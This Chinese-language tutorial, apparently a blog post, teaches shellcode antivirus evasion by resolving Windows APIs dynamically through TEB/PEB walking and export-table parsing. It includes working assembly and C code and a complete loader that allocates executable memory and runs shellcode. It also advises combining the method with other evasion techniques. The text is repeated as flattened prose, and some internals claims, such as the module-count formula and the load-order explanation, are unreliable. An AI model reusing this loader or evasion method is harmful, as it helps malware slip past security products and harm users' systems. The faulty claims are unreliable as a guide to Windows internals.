【_LIST_ENTRY详解】shellcode免杀之动态获取API
字数 2409 2025-08-24 20:49:22

动态获取API技术详解:从TEB/PEB到Shellcode免杀

1. 动态获取API的意义与原理

1.1 导入表的作用与局限

在PE结构中,导入表(Import Table)用于描述程序运行时需要使用的外部函数和库。操作系统根据导入表信息定位并加载所需的DLL,并将程序与这些外部函数进行链接。

传统调用方式的问题

  • 当使用VirtualAlloc等敏感函数时,函数名会直接出现在导入表中
  • 杀毒软件可以通过检测导入表发现可疑函数调用
  • 静态分析工具可以轻易识别程序使用的系统API

1.2 动态获取API的优势

通过手动编码完成DLL地址寻找和函数定位,可以:

  • 避免敏感函数出现在导入表中
  • 绕过基于导入表的静态检测
  • 实现更隐蔽的Shellcode加载和执行

1.3 关键系统DLL

kernel32.dll

  • Windows中最基本和核心的动态链接库
  • 包含大量系统级别函数
  • 所有Windows程序都会加载此DLL

ntdll.dll

  • 更底层的动态链接库
  • 提供操作系统内部核心相关的函数和服务
  • kernel32.dll中的函数最终会调用ntdll.dll中的函数

2. TEB和PEB结构详解

2.1 线程环境块(TEB)

TEB(Thread Environment Block)

  • 存储线程状态信息和线程所需的各种数据
  • 每个线程都有对应的TEB结构
  • 包含指向PEB的指针

x64架构下的TEB访问

  • TEB地址存储在GS寄存器中
  • PEB位于TEB偏移0x60处

2.2 进程环境块(PEB)

PEB(Process Environment Block)

  • 包含系统与当前进程关联的用户模式参数
  • 存储已加载DLL的信息、进程参数、堆地址等
  • 可用于动态获取API、进程伪装和反调试

关键结构

  • 偏移0x18处是Ldr指针(_PEB_LDR_DATA结构体)
  • Ldr存储了所有模块(包括DLL)的加载信息

2.3 模块加载链表

在_PEB_LDR_DATA结构中有三个关键双向链表:

  1. InLoadOrderModuleList (偏移0x10)
  2. InMemoryOrderModuleList (偏移0x20)
  3. InInitializationOrderModuleList (偏移0x30)

这些链表都使用_LIST_ENTRY结构:

typedef struct _LIST_ENTRY {
   struct _LIST_ENTRY *Flink;  // 指向下一个节点
   struct _LIST_ENTRY *Blink;  // 指向上一个节点
} LIST_ENTRY, *PLIST_ENTRY;

2.4 _LDR_DATA_TABLE_ENTRY结构

链表中的每个节点实际上是_LDR_DATA_TABLE_ENTRY结构的一部分:

  • 结构体大小:0x138字节
  • 关键字段:
    • DllBase: DLL的基地址(偏移0x30)
    • FullDllName: DLL完整路径(偏移0x48)
    • BaseDllName: DLL名称(偏移0x58)

2.5 模块数量计算

可以通过链表计算加载的模块数量:

模块数量 = ((Blink - Flink) / 0x138) + 1

原理

  • Blink指向最后一个模块的_LIST_ENTRY
  • Flink指向第一个模块的_LIST_ENTRY
  • 每个_LDR_DATA_TABLE_ENTRY结构大小为0x138字节
  • 需要加1是因为差值计算不包含最后一个模块

3. 动态获取API的实现

3.1 汇编获取kernel32.dll基址

.code
getknel proc
    mov rax,gs:[60h]    ; rax = PEB
    mov rax,[rax+18h]   ; rax = Ldr
    mov rax,[rax+30h]   ; rax = InInitializationOrderModuleList的Flink
    mov rax,[rax]       ; 第一个模块
    mov rax,[rax]       ; 第二个模块
    mov rax,[rax+10h]   ; 第三个模块的DllBase(kernel32.dll)
    ret
getknel endp
end

关键点

  • kernel32.dll在InInitializationOrderModuleList中是第三个模块
  • 通过链表遍历获取其基地址

3.2 从DLL中导出函数

PVOID myGetAddress(PVOID pBaseAddress, PCHAR pszFunctionName) {
    PVOID get_address = 0;
    // 获取DOS头
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress;
    // 通过e_lfanew找到NT头
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((PUCHAR)pDosHeader + pDosHeader->e_lfanew);
    // 获取导出表地址
    PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
    // 获取导出函数数量
    ULONG ulNumberOfNames = pExportTable->NumberOfNames;
    // 获取导出函数名称数组
    PULONG lpNameArray = (PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfNames);
    
    // 遍历导出表
    for (ULONG i = 0; i < ulNumberOfNames; i++) {
        PCHAR lpName = (PCHAR)((PUCHAR)pDosHeader + lpNameArray[i]);
        if (0 == _strnicmp(pszFunctionName, lpName, strlen(pszFunctionName))) {
            // 获取函数序号
            USHORT uHint = *(USHORT*)((PUCHAR)pDosHeader + pExportTable->AddressOfNameOrdinals + 2 * i);
            // 获取函数地址
            ULONG ulFuncAddr = *(PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfFunctions + 4 * uHint);
            get_address = (PVOID)((PUCHAR)pDosHeader + ulFuncAddr);
            break;
        }
    }
    return get_address;
}

3.3 完整调用示例

#include <Windows.h>
#include <stdio.h>

// 声明汇编函数
extern "C" PVOID64 getknel();

// 定义函数指针类型
typedef LPVOID(WINAPI* pVAlloc)(LPVOID, DWORD, DWORD, DWORD);

int main() {
    char shellcode[] = "";
    
    // 动态获取VirtualAlloc地址
    pVAlloc VAlloc = (pVAlloc)myGetAddress(getknel(), (PCHAR)"VirtualAlloc");
    
    // 分配可执行内存
    void* exec = VAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
    // 复制并执行Shellcode
    memcpy(exec, shellcode, sizeof shellcode);
    ((void(*)())exec)();
}

4. 开发环境配置

在Visual Studio中配置汇编支持:

  1. 右键项目 → 生成依赖项 → 生成自定义 → 勾选"masm"
  2. 右键asm文件 → 属性 → 常规 → 项类型选择"自定义生成工具"
  3. 在自定义生成工具中配置:
    • 命令行: ml64 /c %(fileName).asm
    • 输出: %(fileName).obj;%(Outputs)

5. 调试验证

使用x64dbg验证TEB/PEB结构:

  1. 加载目标程序(如calc.exe)
  2. 查看GS寄存器获取TEB地址
  3. TEB偏移0x60处是PEB地址
  4. PEB偏移0x18处是Ldr指针
  5. Ldr偏移0x10处是InLoadOrderModuleList
  6. 遍历链表验证模块信息

6. 常见问题解答

Q: (Blink-Flink)%0x138计算模块数量的前提是地址连续吗?

A: 实际上,_LDR_DATA_TABLE_ENTRY结构在内存中是连续分配的,每个结构大小固定为0x138字节。虽然链表节点理论上可以不连续,但在Windows实现中,这些结构通常是连续分配的,因此这种计算方法是可行的。

Q: 为什么kernel32.dll在InInitializationOrderModuleList中是第三个模块?

A: Windows加载模块的顺序是固定的:首先是exe本身,然后是ntdll.dll,接着是kernel32.dll。因此kernel32.dll在InInitializationOrderModuleList中排在第三位。

7. 安全注意事项

  1. 本技术仅用于合法研究和防御目的
  2. 实际使用时需要考虑不同Windows版本的偏移差异
  3. 某些安全产品会监控PEB操作行为
  4. 建议结合其他免杀技术使用
  5. 在生产环境使用前应充分测试

8. 扩展应用

  1. 进程伪装:通过修改PEB中的模块信息隐藏进程
  2. 反调试技术:利用PEB中的BeingDebugged标志检测调试器
  3. DLL注入检测:通过比较不同链表检测异常模块
  4. API钩子检测:通过对比内存中的API地址与导出表地址

9. 参考资源

  1. PEB结构详解 - Vergilius Project
  2. [Windows Internals书籍]
  3. [MSDN官方文档]
  4. x64dbg调试器
动态获取API技术详解:从TEB/PEB到Shellcode免杀 1. 动态获取API的意义与原理 1.1 导入表的作用与局限 在PE结构中,导入表(Import Table)用于描述程序运行时需要使用的 外部函数和库 。操作系统根据导入表信息定位并加载所需的DLL,并将程序与这些外部函数进行链接。 传统调用方式的问题 : 当使用 VirtualAlloc 等敏感函数时,函数名会直接出现在导入表中 杀毒软件可以通过检测导入表发现可疑函数调用 静态分析工具可以轻易识别程序使用的系统API 1.2 动态获取API的优势 通过 手动编码 完成DLL地址寻找和函数定位,可以: 避免敏感函数出现在导入表中 绕过基于导入表的静态检测 实现更隐蔽的Shellcode加载和执行 1.3 关键系统DLL kernel32.dll : Windows中最基本和核心的动态链接库 包含大量系统级别函数 所有Windows程序都会加载此DLL ntdll.dll : 更底层的动态链接库 提供操作系统内部核心相关的函数和服务 kernel32.dll中的函数最终会调用ntdll.dll中的函数 2. TEB和PEB结构详解 2.1 线程环境块(TEB) TEB(Thread Environment Block) : 存储线程状态信息和线程所需的各种数据 每个线程都有对应的TEB结构 包含指向PEB的指针 x64架构下的TEB访问 : TEB地址存储在GS寄存器中 PEB位于TEB偏移0x60处 2.2 进程环境块(PEB) PEB(Process Environment Block) : 包含系统与当前进程关联的用户模式参数 存储已加载DLL的信息、进程参数、堆地址等 可用于动态获取API、进程伪装和反调试 关键结构 : 偏移0x18处是Ldr指针(_ PEB_ LDR_ DATA结构体) Ldr存储了所有模块(包括DLL)的加载信息 2.3 模块加载链表 在_ PEB_ LDR_ DATA结构中有三个关键双向链表: InLoadOrderModuleList (偏移0x10) InMemoryOrderModuleList (偏移0x20) InInitializationOrderModuleList (偏移0x30) 这些链表都使用_ LIST_ ENTRY结构: 2.4 _ LDR_ DATA_ TABLE_ ENTRY结构 链表中的每个节点实际上是_ LDR_ DATA_ TABLE_ ENTRY结构的一部分: 结构体大小:0x138字节 关键字段: DllBase: DLL的基地址(偏移0x30) FullDllName: DLL完整路径(偏移0x48) BaseDllName: DLL名称(偏移0x58) 2.5 模块数量计算 可以通过链表计算加载的模块数量: 原理 : Blink指向最后一个模块的_ LIST_ ENTRY Flink指向第一个模块的_ LIST_ ENTRY 每个_ LDR_ DATA_ TABLE_ ENTRY结构大小为0x138字节 需要加1是因为差值计算不包含最后一个模块 3. 动态获取API的实现 3.1 汇编获取kernel32.dll基址 关键点 : kernel32.dll在InInitializationOrderModuleList中是第三个模块 通过链表遍历获取其基地址 3.2 从DLL中导出函数 3.3 完整调用示例 4. 开发环境配置 在Visual Studio中配置汇编支持: 右键项目 → 生成依赖项 → 生成自定义 → 勾选"masm" 右键asm文件 → 属性 → 常规 → 项类型选择"自定义生成工具" 在自定义生成工具中配置: 命令行: ml64 /c %(fileName).asm 输出: %(fileName).obj;%(Outputs) 5. 调试验证 使用x64dbg验证TEB/PEB结构: 加载目标程序(如calc.exe) 查看GS寄存器获取TEB地址 TEB偏移0x60处是PEB地址 PEB偏移0x18处是Ldr指针 Ldr偏移0x10处是InLoadOrderModuleList 遍历链表验证模块信息 6. 常见问题解答 Q : (Blink-Flink)%0x138计算模块数量的前提是地址连续吗? A : 实际上,_ LDR_ DATA_ TABLE_ ENTRY结构在内存中是连续分配的,每个结构大小固定为0x138字节。虽然链表节点理论上可以不连续,但在Windows实现中,这些结构通常是连续分配的,因此这种计算方法是可行的。 Q : 为什么kernel32.dll在InInitializationOrderModuleList中是第三个模块? A : Windows加载模块的顺序是固定的:首先是exe本身,然后是ntdll.dll,接着是kernel32.dll。因此kernel32.dll在InInitializationOrderModuleList中排在第三位。 7. 安全注意事项 本技术仅用于合法研究和防御目的 实际使用时需要考虑不同Windows版本的偏移差异 某些安全产品会监控PEB操作行为 建议结合其他免杀技术使用 在生产环境使用前应充分测试 8. 扩展应用 进程伪装 :通过修改PEB中的模块信息隐藏进程 反调试技术 :利用PEB中的BeingDebugged标志检测调试器 DLL注入检测 :通过比较不同链表检测异常模块 API钩子检测 :通过对比内存中的API地址与导出表地址 9. 参考资源 PEB结构详解 - Vergilius Project [ Windows Internals书籍 ] [ MSDN官方文档 ] x64dbg调试器